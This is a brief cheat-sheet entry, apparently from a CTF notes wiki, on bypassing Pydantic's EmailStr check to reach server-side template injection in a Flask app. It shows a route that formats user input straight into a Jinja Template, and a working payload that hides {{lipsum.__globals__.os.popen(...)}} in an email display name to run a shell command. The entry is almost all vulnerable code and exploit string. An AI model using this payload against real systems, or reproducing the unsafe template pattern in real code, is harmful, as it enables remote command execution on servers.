====== Pydantic email validator + jinja ssti ======

<code python>
class EmailModel(BaseModel):
    email: EmailStr

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template%(email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")
</code>


<code>
"lalala+{{lipsum.__globals__.os.popen('/getflag').read()}}@whatever.gr" <lalala@whatever.gr>
</code>